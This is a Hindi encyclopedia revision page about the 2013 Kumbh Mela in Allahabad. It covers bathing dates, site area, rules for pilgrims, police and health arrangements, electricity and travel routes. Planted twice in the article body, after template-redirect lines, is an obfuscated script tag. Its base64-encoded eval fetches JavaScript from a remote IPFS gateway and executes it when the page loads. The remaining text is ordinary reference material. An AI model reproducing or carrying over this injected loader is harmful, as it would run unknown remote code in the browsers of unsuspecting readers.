Difference between revisions of "कुम्भ मेला 2013"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
Line 116: Line 116:
 
*कुंभ के इस अस्थाई शहर में [[गंगा नदी]] पर एक दो नहीं, बल्कि 18 पांटून के पुल बनाए जाएंगे। अभी तक कुल 16 पुलों का निर्माण कार्य पूरा कर लिया गया है। इन पुलों के सहारे आसानी से श्रद्धालु नदी के एक तरफ से दूसरी तरफ आसानी से जा सकते है। इस बार के मेले में क़रीब 400 करोड़ का बजट निर्धारित किया गया है।
 
*कुंभ के इस अस्थाई शहर में [[गंगा नदी]] पर एक दो नहीं, बल्कि 18 पांटून के पुल बनाए जाएंगे। अभी तक कुल 16 पुलों का निर्माण कार्य पूरा कर लिया गया है। इन पुलों के सहारे आसानी से श्रद्धालु नदी के एक तरफ से दूसरी तरफ आसानी से जा सकते है। इस बार के मेले में क़रीब 400 करोड़ का बजट निर्धारित किया गया है।
 
*मेलें में भारतीय रेल ने भी श्रद्धालुओं को लाने-ले जाने के लिए विशेष तैयारी की है। इस बार महाकुंभ के चलते क़रीब 50 मेल और एक्सप्रेस ट्रेनें चलाई जा रही हैं। इसके लिए 1000 नई बोगियों का इंतज़ाम किया गया है। दस जोड़ी में इमूयू व डीएमयू भी विभिन्न रूटों पर दौड़ेंगी, जिनमें [[इलाहाबाद]] से [[कानपुर]], इलाहाबाद से [[लखनऊ]] और इलाहाबाद से [[जबलपुर]] रूट भी शामिल हैं। [[दिल्ली]] के लिए भी खास इंतजाम किए गए हैं। जिस दिन दिल्ली के लिए दूरंतो एक्सप्रेस नहीं होगी, उस दिन डुप्लीकेट प्रयागराज का संचालन किया जाएगा। इसके अलावा इलाहाबाद जंक्शन पर 115 अनारक्षित टिकट वितरण केंद्र, पूछताछ के लिए 15 काउंटरों के अतिरिक्त पीआरएस की संख्या भी बढ़ाई जाएगी। यूरीनल और शौचालय का भी विशेष इंतजाम होगा।<ref>{{cite web |url=http://www.bhaskar.com/article/UP-MK-NE-marvelous-city-of-mahakumbh-in-prayag-allahabad-4138221-PHO.html?seq=2&HF-10= |title=प्रयाग में बसा 'आस्था' का अनोखा नगर |accessmonthday= 13 जनवरी|accessyear=2013 |last= |first= |authorlink= |format= |publisher=दैनिक भास्कर |language= हिंदी}}</ref>
 
*मेलें में भारतीय रेल ने भी श्रद्धालुओं को लाने-ले जाने के लिए विशेष तैयारी की है। इस बार महाकुंभ के चलते क़रीब 50 मेल और एक्सप्रेस ट्रेनें चलाई जा रही हैं। इसके लिए 1000 नई बोगियों का इंतज़ाम किया गया है। दस जोड़ी में इमूयू व डीएमयू भी विभिन्न रूटों पर दौड़ेंगी, जिनमें [[इलाहाबाद]] से [[कानपुर]], इलाहाबाद से [[लखनऊ]] और इलाहाबाद से [[जबलपुर]] रूट भी शामिल हैं। [[दिल्ली]] के लिए भी खास इंतजाम किए गए हैं। जिस दिन दिल्ली के लिए दूरंतो एक्सप्रेस नहीं होगी, उस दिन डुप्लीकेट प्रयागराज का संचालन किया जाएगा। इसके अलावा इलाहाबाद जंक्शन पर 115 अनारक्षित टिकट वितरण केंद्र, पूछताछ के लिए 15 काउंटरों के अतिरिक्त पीआरएस की संख्या भी बढ़ाई जाएगी। यूरीनल और शौचालय का भी विशेष इंतजाम होगा।<ref>{{cite web |url=http://www.bhaskar.com/article/UP-MK-NE-marvelous-city-of-mahakumbh-in-prayag-allahabad-4138221-PHO.html?seq=2&HF-10= |title=प्रयाग में बसा 'आस्था' का अनोखा नगर |accessmonthday= 13 जनवरी|accessyear=2013 |last= |first= |authorlink= |format= |publisher=दैनिक भास्कर |language= हिंदी}}</ref>
==कल्पवास==
 
{{Main|कल्पवास}}
 
[[प्रयाग]] में कल्पवास का अत्यधिक महत्व है। यह [[माघ]] के [[माह]] में और अधिक महत्व रखता है और यह [[पौष]] माह के 11वें [[दिन]] से माघ माह के 12वें दिन तक रहता है। कल्पवास को धैर्य, अहिंसा और भक्ति के लिए जाना जाता है और भोजन एक दिन में एक बार ही किया जाता है। ऐसी मान्यता है कि जो कल्पवास की प्रतिज्ञा करता है वह अगले जन्म में राजा के रूप में जन्म लेता है।
 
 
 
==विद्युत व्यवस्था==
 
==विद्युत व्यवस्था==
 
मेले के दौरान [[उत्तर प्रदेश]] में [[इलाहाबाद]] कुंभ मेले के समय 24 घंटे बिजली की व्यवस्था रहेगी। बिजली विभाग ने कुंभ मेला में प्रदेश सरकार द्वारा काम पूरा करने के लिए निर्धारित समय सीमा से एक दिन पहले अपने अस्थायी कार्यों को पूरा कर संपूर्ण मेला क्षेत्र को रोशनी से सराबोर कर दिया है। गत दिवस उत्तरप्रदेश के प्रमुख सचिव ऊर्जा एवं पावर कार्पोरेशन के अध्यक्ष अनिल कुमार गुप्ता ने मेला क्षेत्र में स्ट्रीट लाइट के लिए लगाई गई स्विच को ऑन किया और इसी के साथ मेला क्षेत्र में लगाई गई 18000 स्ट्रीट लाइट जल उठी। इस अवसर पर 'उत्तरप्रदेश पावर कॉर्पोरेशन' के प्रबंध निदेशक ए.पी. मिश्र ने बताया कि [[कुंभ मेला]] के लिए 33/11 के.वी. के पांच नए उपकेन्द्र बनाए गए हैं तथा 12 सब स्टेशनों की क्षमता वृद्धि की गई है। मिश्र ने बताया कि पूरे मेला क्षेत्र में लगभग सात सौ कि.मी. बिजली की लाइन बिछाई गई है। पूरे मेला क्षेत्र में सी.एफ.एल लगाकर लगभग एक लाख कैम्पों में बिजली का कनेक्शन देने का काम किया जाएगा। उत्तरप्रदेश पावर कार्पोरेशन के अध्यक्ष अनिल कुमार गुप्ता ने कहा कि कुंभ मेला के समय इलाहाबाद नगर में 24 घंटे विद्युत आपूर्ति की जाएगी। उन्होंने बताया कि [[1 जनवरी]] [[2013]] से कुंभ मेला की समाप्ति तक इलाहाबाद नगर को 24 घंटे बिजली मिलेगी।<ref>{{cite web |url=http://hindi.webdunia.com/religion-occasion-others/%E0%A4%AE%E0%A4%95%E0%A4%B0-%E0%A4%B8%E0%A4%82%E0%A4%95%E0%A5%8D%E0%A4%B0%E0%A4%BE%E0%A4%82%E0%A4%A4%E0%A4%BF-%E0%A4%B8%E0%A5%87-%E0%A4%B2%E0%A4%97%E0%A5%87%E0%A4%97%E0%A4%BE-%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%AF%E0%A4%BE%E0%A4%97-%E0%A4%95%E0%A5%81%E0%A4%82%E0%A4%AD-%E0%A4%AE%E0%A5%87%E0%A4%B2%E0%A4%BE-1121215030_1.htm|title=मकर संक्रांति से लगेगा प्रयाग कुंभ मेला |accessmonthday=12 जनवरी |accessyear=2013 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=वेबदुनिया हिंदी |language=हिंदी }}</ref>
 
मेले के दौरान [[उत्तर प्रदेश]] में [[इलाहाबाद]] कुंभ मेले के समय 24 घंटे बिजली की व्यवस्था रहेगी। बिजली विभाग ने कुंभ मेला में प्रदेश सरकार द्वारा काम पूरा करने के लिए निर्धारित समय सीमा से एक दिन पहले अपने अस्थायी कार्यों को पूरा कर संपूर्ण मेला क्षेत्र को रोशनी से सराबोर कर दिया है। गत दिवस उत्तरप्रदेश के प्रमुख सचिव ऊर्जा एवं पावर कार्पोरेशन के अध्यक्ष अनिल कुमार गुप्ता ने मेला क्षेत्र में स्ट्रीट लाइट के लिए लगाई गई स्विच को ऑन किया और इसी के साथ मेला क्षेत्र में लगाई गई 18000 स्ट्रीट लाइट जल उठी। इस अवसर पर 'उत्तरप्रदेश पावर कॉर्पोरेशन' के प्रबंध निदेशक ए.पी. मिश्र ने बताया कि [[कुंभ मेला]] के लिए 33/11 के.वी. के पांच नए उपकेन्द्र बनाए गए हैं तथा 12 सब स्टेशनों की क्षमता वृद्धि की गई है। मिश्र ने बताया कि पूरे मेला क्षेत्र में लगभग सात सौ कि.मी. बिजली की लाइन बिछाई गई है। पूरे मेला क्षेत्र में सी.एफ.एल लगाकर लगभग एक लाख कैम्पों में बिजली का कनेक्शन देने का काम किया जाएगा। उत्तरप्रदेश पावर कार्पोरेशन के अध्यक्ष अनिल कुमार गुप्ता ने कहा कि कुंभ मेला के समय इलाहाबाद नगर में 24 घंटे विद्युत आपूर्ति की जाएगी। उन्होंने बताया कि [[1 जनवरी]] [[2013]] से कुंभ मेला की समाप्ति तक इलाहाबाद नगर को 24 घंटे बिजली मिलेगी।<ref>{{cite web |url=http://hindi.webdunia.com/religion-occasion-others/%E0%A4%AE%E0%A4%95%E0%A4%B0-%E0%A4%B8%E0%A4%82%E0%A4%95%E0%A5%8D%E0%A4%B0%E0%A4%BE%E0%A4%82%E0%A4%A4%E0%A4%BF-%E0%A4%B8%E0%A5%87-%E0%A4%B2%E0%A4%97%E0%A5%87%E0%A4%97%E0%A4%BE-%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%AF%E0%A4%BE%E0%A4%97-%E0%A4%95%E0%A5%81%E0%A4%82%E0%A4%AD-%E0%A4%AE%E0%A5%87%E0%A4%B2%E0%A4%BE-1121215030_1.htm|title=मकर संक्रांति से लगेगा प्रयाग कुंभ मेला |accessmonthday=12 जनवरी |accessyear=2013 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=वेबदुनिया हिंदी |language=हिंदी }}</ref>

Revision as of 09:09, 13 January 2013

kumbh mela se sanbandhit lekh

[[chitr:Kumbh mela.jpg|thumb|350px|kumbh mela, ilahabad]] kumbh mela 2013 ilahabad mean 14 janavari se 10 march ke bich ayojit kiya jayega. varsh 2001 mean kumbh mela yahaan 44 dinoan ke lie tha jabaki kumbh 2013 kul 55 dinoan ke lie hoga. is dauran ilahabad (prayag) sarvadhik abadi vala shahar ban jata hai. is mele mean anumanat: 8 karo d yatriyoan ke ane ki sambhavana hai. 5 varg ki.mi. ke kshetr mean 8 karo d logoan ka upasthit hona vishv ki sabase adbhut ghatana hai. parkiang ki vyavastha 25 ki.mi. door ki gee hai.

kumbh mela

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kumbh mela hindoo dharm ka ek mahattvapoorn parv hai, jisamean karo doan shraddhalu kumbh parv sthal- haridvar, prayag, ujjain aur nasik mean snan karate haian. inamean se pratyek sthan par prati barahavean varsh is parv ka ayojan hota hai. haridvar aur prayag mean do kuanbh parvoan ke bich chhah varsh ke aantaral mean arddh kumbh hota hai. is samay ganga ki pavan dhara mean amrit ka satat pravah hota hai. isi samay kumbh snan ka sanyog banata hai. kumbh parv bharatiy janamanas ki parv chetana ki viratata ka dyotak hai. visheshakar uttarakhand ki bhoomi par tirth nagari haridvar ka kumbh to mahakumbh kaha jata hai. bharatiy sanskriti ki jivantata ka praman pratyek 12 varsh mean yahaan ayojit hota hai.

prayag kumbh

prayag kumbh ka vishesh mahatv isalie hai kyoanki yah 12 varsho ke bad ganga, yamuna evan sarasvati ke sangam par ayojit kiya jata hai. haridvar mean kumbh ganga ke tat par aur nasik mean godavari ke tat par ayojit kiya jata hai. is avasar par nadiyoan ke kinare bhavy mele ka ayojan kiya jata hai jisamean b di sankhya mean tirth yatri ate hai. yah kumbh any kumbhoan mean sabase adhik mahatvapoorn hai kyoanki yah prakash ki or le jata hai. yah aisa sthan hai jahaan buddhimatta ka pratik soory ka uday hota hai. is sthan ko brahmand ka udgam aur prithvi ka keandr mana jata hai. aisi manyata hai ki brahmand ki rachana se pahale brahmaji ne yahian ashvamegh yajn kiya tha. dashvamegh ghat aur brahmeshvar mandir is yajn ke pratik svarup abhi bhi yahaan maujood hai. is yajn ke karan bhi kumbh ka vishesh mahatv hai. 'kumbh' aur 'prayag' ek doosare ke paryayavachi haian.[1]

tirtharaj prayag

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tirtharaj prayag dharmik evan saanskritik roop se ati-mahatvapoorn hai. isane hamari bharatiy sabhyata ko sanbhal kar rakha hai. yah atmajnan aur jnan prapti ka uttam sthan hai. yah manav prem ki shiksha deta hai. aisa mana jata hai ki brahm dev ne brahmand ke nirman se poorv paryavaran ko shuddh karane ke lie yajn yahian kiya isilie isaka nam prayag p da. prayag ka arth hota hai 'shuddhikaran ka sthan'. british shasan ke dauran prayag mean praantiy karyalay, uchch nyayalay sthapit kiye gaye. un dinoan prayag samajik, bauddhik aur rajanitik gatividhiyoan ka keandr tha. prayag ka svatantrata ki l daee mean bhi vishesh yogadan raha hai. prayag ki bhoomi amar vyaktitvoan ki bhoomi hai. prayag ka atyadhik dharmik mahatv hai aur 'tirth ke raja' ke roop mean jana jata hai, tin pavitr nadiyoan ke sangam par sthit hone ki vajah se isamean chhah ghat haian. do ghat ganga ke tat par, do yamuna ke tat par aur do ghat sangam tat par bane hue haian. sangam ke pashchim mean 'dhirty-kuliya' aur 'madhu-kuliya' sthit haian. isase age 'niranjan tirth' aur 'audity tirth' sthit haian. 'shishir mochan' aur 'parashuram tirth' qile ke niche haian. sarasvati nadi ka sthan ise hi mana jata haian. 'gaughat' ka apana vishesh mahatv hai. bahut se log is sthan par snan karane ke bad gau dan karate haian. isase kuchh age 'kapil-tirth' hai jo ki samrat kapil ke dvara nirmit kiya gaya tha. yahi par 'indeshvar shiv', 'tarakeshvar kund', aur 'tarakeshvar shiv mandir' bhi haian. 'dashamesh ghat' ke pashchim mean 'lakshmi-tirth' hai isake dakshin mean 'mahadevi-tirth' hai aur pas mean 'urvashi-tirth' evan 'urvashi kund' haian. aisi manyata hai ki apsara urvashi yahaan snan karati thi. triveni ke us par 'agnikar' hai, 'someshvar-mahadev' aur 'som tirth' bhi yahian haian.[2]

kumbh parv ka yog

jab soory evan chandr makar rashi mean hote haian aur amavasya hoti hai tatha mesh athava vrishabh ke brihaspati hote haian to prayag mean kumbh mahaparv ka yog hota hai. mukhy snan tithiyoan par sooryoday ke samay rath aur hathi par santoan ke rangarang juloos ka bhavy ayojan hota hai. pavitr ganga nadi mean santoan dvara dubaki lagaee jati hai. vikram sanvath 2069 (sanh 2013) mean prayagaraj (ilahabad) mean p dane vale mahaparv mean nimn shahi snan aur samany snan ki tithiyaan yahaan prastut haian -

kumbh mela sanh 2013 (vikram sanvath 2069) mean p dane vale shahi snan[3]
snan soochi parv dinaank var (divas) snan ka mahatv
pratham snan makar sankraanti 14 janavari 2013 somavar shahi snan
dvitiy snan paush poornima 27 janavari 2013 ravivar shahi snan
tritiy snan ekadashi 6 pharavari 2013 guruvar samany snan
chaturth snan mauni amavasya 10 pharavari 2013 ravivar shahi snan
pancham snan basant panchami 15 pharavari 2013 shukravar shahi snan
chhathavaan snan rath saptami 17 pharavari 2013 ravivar samany snan
saptam snan bhishm ekadashi 18 pharavari 2013 somavar samany snan
ashtam snan maghi poornima 25 pharavari 2013 somavar shahi snan
navam snan mahashivara‍tri 10 march 2013 ravivar samany snan

prithvi par sabase b da mela

british aur bharatiy shodhakartaoan ne char sal ke adhyayan ke bad kaha hai ki is sal ilahabad mean ganga, yamuna aur adrishy sarasvati ke sangam par hone ja raha mahakuanbh vishv ke sabase vishalatam dharmik jamav de mean se ek hai aur yah 'prithvi par sabase b da mela hai'. agami 14 janavari, 2013 ko ganga aur yamuna ke tat par shuroo hone ja rahe is mahakuanbh mean 10 karo d logoan ke bhag lene ki sanbhavana hai. british aur bharatiy shodhakartaoan ke dal ne char sal tak kuanbh ka adhyayan kiya. is dauran unhoanne dekha ki log ek doosare ke sath kis tarah se vyavahar karate haian, bhi d ka unaka kya anubhav hai aur is bhi d ka unake rojamarra ke jivan par kya prabhav p data hai. ye shodhakarta 24 janavari, 2013 ko ilahabad vishvavidyalay mean ek vishesh karyakram mean apane nishkarsh ko pesh kareange. is adhyayan mean kuanbh mele ko ek avishvasaniy karyakram aur prithvi par sabase b da mela bataya gaya hai. mahakuanbh mele mean poori duniya ke log ate haian aur lakhoan shraddhalu ganga nadi mean dubaki lagate haian. mahakuanbh ke dauran dharm guruoan juloos tatha rakh lapete naga sadhu sabhi ke akarshan ka keandr hote haian. yah adhyayan dooandi vishvavidyalay ke nik h aaupakians aur seant eandriyooj vishvavidyalay ke prophesar stiphan reisar tatha ilahabad vishvavidyalay ke prophesar narayan shrinivasan ke netritv mean kiya gaya hai.[4]

mela kshetr

  • 2001 mean kuanbh kshetr - 6073 bigha
  • 2007 mean arddh kuanbh kshetr - 5034 bigha
  • 2013 kuanbh ke lie - 10,339 bigha
  • sthaniy prashasan ki bhoomi - 734 bigha
  • relave ki bhoomi-32 bigha
  • kisanoan se adhigrahit hogi - 8602 bigha
  • shesh bhoomi sena tatha sthaniy mohalloan ki hogi.[5]

mele mean pratibandhit

  • pramukh snan parvo ke dauran vi.vi.ai.pi. vahan bhi mela kshetr mean pratibandhit raheange. sabhi shraddhaluoan ko mela kshetr mean paidal hi pravesh karana hoga. is sanbandh mean keandr sarakar ke grih mantralay ki or se disanbar mean hi nirdesh jari kar diya gaya hai.
  • is bar gutakha, sigaret ya nashe ki kisi bhi vastu ko poori tarah pratibandhit kar diya gaya hai. kisi bhi dukanadar ko in chijoan ke laiseans avantan kiye hi nahian ge haian.[6]

aisa n karean

  • pavan ganga nadi mean ditarajeant v sabun ke upayog se bachean.
  • mela praangan mean jali huee sigaret ya ag jalati huee n chho dean.
  • mela praangan mean madira, any vastuean v maansahari khane vali chijoan ko sevan n karean.
  • sthaniy bachchoan ko khane ki chijean ya mithaeeyaan dekar n lalachaean.
  • dhvani pradooshan se bachane ke lie myoojik sistam ki avaj dhimi rakhean.
  • bhikhariyoan ko badhava n dean.[6]

aisa karean

  • mela pradhikaran dvara nirdharit niyam v shartoan ka palan karean.
  • p aaulithin v plastik ka upayog karane se bachean kyoanki ye paryavaran ke lie nukasanadayak haian.
  • koo da-kachara ko koo dedan mean hi dalean.
  • pavitr sthaloan par saphaee ka dhyan rakhean.
  • photo lete samay sthaniy sanskriti, parampara v gopaniyata ka dhyan rakhean.[6]

suvidhaean

  • mela kshetr mean ek hajar mobail shauchalayoan ki bhi vyavastha rahegi. is bar shraddhaluoan v paryatakoan ki suvidha ke lie pradesh sarakar kuchh abhinav vyavasthaean kar rahi hai. jan suvidha se sanbandhit soochanaean v janahit se sanbandhit sarakari yojanaoan ka vyapak prachar-prasar bhi kiya jaega.
  • mela kshetr ko svachchh v pradooshan mukt rakhane ke lie p aaulithin ke kairi baig par pratibandh lagane ke sath hi ganga nadi ke donoan tatoan ke chuninda sthaloan par ek hajar gair paramparagat mobail shauchalay hoange. mele mean ane valoan ko asani se avashyak vastuean muhaiya karane ke lie sektar market ki vyavastha ki ja rahi hai.
  • mukhy margoan v mela kshetr mean 'ilektr aaunik vairiyebal maisej sain bord' lagae jaeange tatha pramukh sansthanoan ke ko manachitr par pradarshit kiya jaega. mele ke dauran avantit sabhi suvidhaean aaunalain hoangi tatha mela kshetr ki basavat ko ji.pi.es. takanik se jo da jaega.
  • ilahabad ane vale rashtriy rajamargo ke chayanit sthaloan par eanbuleans v kren ki suvidha bhi rahegi. agar koee anadhikrit vastu/ saman payean to turant nikatatam pulis chaik post par sanpark karean.[6]

prashasanik evan svasthy vyavasthaean

  • karib 58 varg kilomitar ke kshetr mean phaile is asthaee shahar ko kul 6 jon aur 14 sektar mean vibhajit kiya gaya hai. is bar ke mahakuanbh mele mean qarib 4 karo d se jyada logoan ke ane ki ummid hai. itane logoan ko sahi dhang se niyantrit karane ke lie mela prashasan ne 30 pulis thanoan ka nirman kiya hai. pichhale kuanbh mele ke dauran inaki sankhya 28 thi. sath hi qarib 40 nee pulis chaukiyaan banaee gee haian. mela mean is bar 20 hazar pulisakarmi tainat kie jaeange aur itani hi sankhya mean sivil dres mean pulis, paira militri phors, siarapief, elaeeyoo, enadiaref ki tuk diyaan lagaee gee haian.
  • duniya ke nakshe mean ek chhote-mote desh ke roop mean tabdil ho chuke astha ke is shahar mean yahaan ane vale shraddhaluoan ki sehat aur kisi bhi durghatana se nipatane ke lie mahakuanbh svasthy prashasan ne bhi poori taiyari kar li hai. paanch hajar ek d mean basi astha ki is nagari ke sabhi 14 sektaroan mean d aauktaroan aur nars ki phauz tainat rahegi. samany dinoan mean 75 se adhik embuleans yaha chappe-chappe par gasht karati najar aeange. nadiyoan ke oopar bhi chikitsa suvidhaoan ka ek jal bichhaya gaya hai, taki jal mean hone vale hadase se nipata ja sake.
  • ilahabad ke sangam tat par lage astha ke sabase b de mele mean svasthy sevaoan ka jal bichha diya gaya hai. isake keandr mean hai yah seantral h aauspital, jisake andar 100 bistar vale aspatal ke alava takariban har bimari ke ilaj ke lie alag-alag vard aur eksaparts yahaan chaubisoan ghante maujood raheange. 245 visheshajn daktaroan ki fauj mahakuanbh ke dauran yahaan ane vale shraddhaluoan ki nabj par najar rakhegi. melean mean s dakoan ka ek lanba-chau da jal bichhaya gaya hai. is asthaee shahar mean kul 155 kilomitar ki chak d plet (lohe ke plet se bani s dak) ka nirman kiya gaya hai, jo mele ke ek hisse se doosare hisse ko jo degi.
  • kuanbh ke is asthaee shahar mean ganga nadi par ek do nahian, balki 18 paantoon ke pul banae jaeange. abhi tak kul 16 puloan ka nirman kary poora kar liya gaya hai. in puloan ke sahare asani se shraddhalu nadi ke ek taraph se doosari taraph asani se ja sakate hai. is bar ke mele mean qarib 400 karo d ka bajat nirdharit kiya gaya hai.
  • melean mean bharatiy rel ne bhi shraddhaluoan ko lane-le jane ke lie vishesh taiyari ki hai. is bar mahakuanbh ke chalate qarib 50 mel aur eksapres trenean chalaee ja rahi haian. isake lie 1000 nee bogiyoan ka iantazam kiya gaya hai. das jo di mean imooyoo v diemayoo bhi vibhinn rootoan par dau deangi, jinamean ilahabad se kanapur, ilahabad se lakhanoo aur ilahabad se jabalapur root bhi shamil haian. dilli ke lie bhi khas iantajam kie ge haian. jis din dilli ke lie dooranto eksapres nahian hogi, us din dupliket prayagaraj ka sanchalan kiya jaega. isake alava ilahabad jankshan par 115 anarakshit tikat vitaran keandr, poochhatachh ke lie 15 kauantaroan ke atirikt piares ki sankhya bhi badhaee jaegi. yoorinal aur shauchalay ka bhi vishesh iantajam hoga.[7]

vidyut vyavastha

mele ke dauran uttar pradesh mean ilahabad kuanbh mele ke samay 24 ghante bijali ki vyavastha rahegi. bijali vibhag ne kuanbh mela mean pradesh sarakar dvara kam poora karane ke lie nirdharit samay sima se ek din pahale apane asthayi karyoan ko poora kar sanpoorn mela kshetr ko roshani se sarabor kar diya hai. gat divas uttarapradesh ke pramukh sachiv oorja evan pavar karporeshan ke adhyaksh anil kumar gupta ne mela kshetr mean strit lait ke lie lagaee gee svich ko aaun kiya aur isi ke sath mela kshetr mean lagaee gee 18000 strit lait jal uthi. is avasar par 'uttarapradesh pavar k aaurporeshan' ke prabandh nideshak e.pi. mishr ne bataya ki kuanbh mela ke lie 33/11 ke.vi. ke paanch ne upakendr banae ge haian tatha 12 sab steshanoan ki kshamata vriddhi ki gee hai. mishr ne bataya ki poore mela kshetr mean lagabhag sat sau ki.mi. bijali ki lain bichhaee gee hai. poore mela kshetr mean si.eph.el lagakar lagabhag ek lakh kaimpoan mean bijali ka kanekshan dene ka kam kiya jaega. uttarapradesh pavar karporeshan ke adhyaksh anil kumar gupta ne kaha ki kuanbh mela ke samay ilahabad nagar mean 24 ghante vidyut apoorti ki jaegi. unhoanne bataya ki 1 janavari 2013 se kuanbh mela ki samapti tak ilahabad nagar ko 24 ghante bijali milegi.[8]

kaise pahuanche ilahabad

ek mahatvapoorn dharmik, shaikshik aur prashasanik keandr hone ke nate, ilahabad poorn tarah se vayu, rel aur s dak ke madhyam se bharat ke sabhi pramukh shaharoan se ju da hai.

s dak marg

ilahabad bharat ke maidanoan ke gadh mean sthit hai. ilahabad rashtriy aur rajy rajamarg ke madhyam se desh ke baki hissoan se ju da hai. rashtriy rajamarg 2 (en.ech. 2) dilli - kolakata ko jo data hai jo ki ilahabad se hokar gujarata hai, jabaki rashtriy rajamarg 27 (en.ech. 27) ilahabad se shuroo hokar madhy pradesh ke mangavan tak jata hai. rashtriy rajamarg 76 ilahabad (uttar pradesh) ko pindvara (rajasthan) se jo data hai. rashtriy rajamarg 96 phaijabad ke rashtriy rajamarg 28 se ju da hua hai, jo ki hiandoo tirth ke do pramukh kendroan ilahabad aur ayodhya ko jo data hai. ilahabad ke tin bas addoan se, aantararajyiy bas sevaoan ke madhyam se ilahabad desh ke vibhinn margoan se ju da hai.[9]

havaee yatra

ilahabad ghareloo havaee adda, 'bamarauli eyar phors bes' ke roop mean bhi jana jata hai, yah ilahabad se 12 ki.mi. ki doori par hai. ilahabad se nikatatam any do havaee adde haian, varanasi mean 'lal bahadur shastri havaee adda' (150 ki.mi.) aur lakhanoo mean 'amausi aantarrashtriy havaee adda' (200 ki.mi.) . yah donoan havaee adde bharat ke any pramukh shaharoan se bhi ju de hue haian. eyar iandiya, eyar iandiya eksapres, go-eyar, iandigo jet eyaravej, kiangaphishar eyaralaians aur spais jet jaisi pramukh eyaralain bhi dainik u danoan ke lie upalabdh haian. havaee adde se sthaniy ga di aur aantararajyiy basoan ka upayog ilahabad tak pahuanchane ke lie kiya ja sakata hai.[9]

rel yatra

'uttar madhy relave jon' ka mukhyalay hone ke nate, ilahabad bharatiy rel ka pramukh steshan hai. ilahabad mean ath relave steshan haian jo bharat ke pramukh shaharoan jaise dilli, muanbee, bangalaur, chennee, haidarabad, kolakata, bhopal, gvaliyar, jayapur adi se ju de hue haian. relave steshan mean sthaniy ga di, aauto riksha aur siti basean apani gantavy sthan tak pahuanchane ke lie upalabdh haian.[9]

avas sthan

ilahabad mean paryatakoan ko vibhinn sthanoan mean rahane ke lie har suvidhaean upalabdh hai, jaise dilaks hotal, bajat hotal, virasat hotal, gestahaus, dharmashala, aur shivir. in suvidhaoan mean se koee bhi suvidha apani suvidha anusar chun sakate haian. ap aaunalain ke madhyam se ilahabad ke hotaloan ko buk kar sakate haian.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. kumbh 2013 (hiandi) (ech.ti.em.el) kumbh mela (adhikarik vebasait). abhigaman tithi: 7 janavari, 2013.
  2. tirtharaj prayag (hiandi) (ech.ti.em.el) kumbh mela (adhikarik vebasait). abhigaman tithi: 8 janavari, 2013.
  3. ilahabad kumbh mela 2013 : mukhy snan tithiyaan (hiandi) (ech.ti.em.el) veb duniya hiandi. abhigaman tithi: 7 janavari, 2013.
  4. prithvi par sabase b da mela hai kuanbh (hiandi) (ech.ti.em.el) jagaran d aaut k aaum. abhigaman tithi: 12 janavari, 2013.
  5. kuanbh ki taiyari mean teji shahi snan ki tithiyaan ghoshit (hiandi) (ech.ti.em.el) paanchajany. abhigaman tithi: 12 janavari, 2013.
  6. 6.0 6.1 6.2 6.3 mahakuanbh mean kya karean kya na karean (hiandi) (ech.ti.em.el) jagaran d aaut k aaum. abhigaman tithi: 12 janavari, 2013.
  7. prayag mean basa 'astha' ka anokha nagar (hiandi) dainik bhaskar. abhigaman tithi: 13 janavari, 2013.
  8. makar sankraanti se lagega prayag kuanbh mela (hiandi) (ech.ti.em.el) vebaduniya hiandi. abhigaman tithi: 12 janavari, 2013.
  9. 9.0 9.1 9.2 kaise pahuanche ilahabad (hiandi) (ech.ti.em.el) kumbh mela (adhikarik vebasait). abhigaman tithi: 7 janavari, 2013.

bahari k diyaan

sanbandhit lekh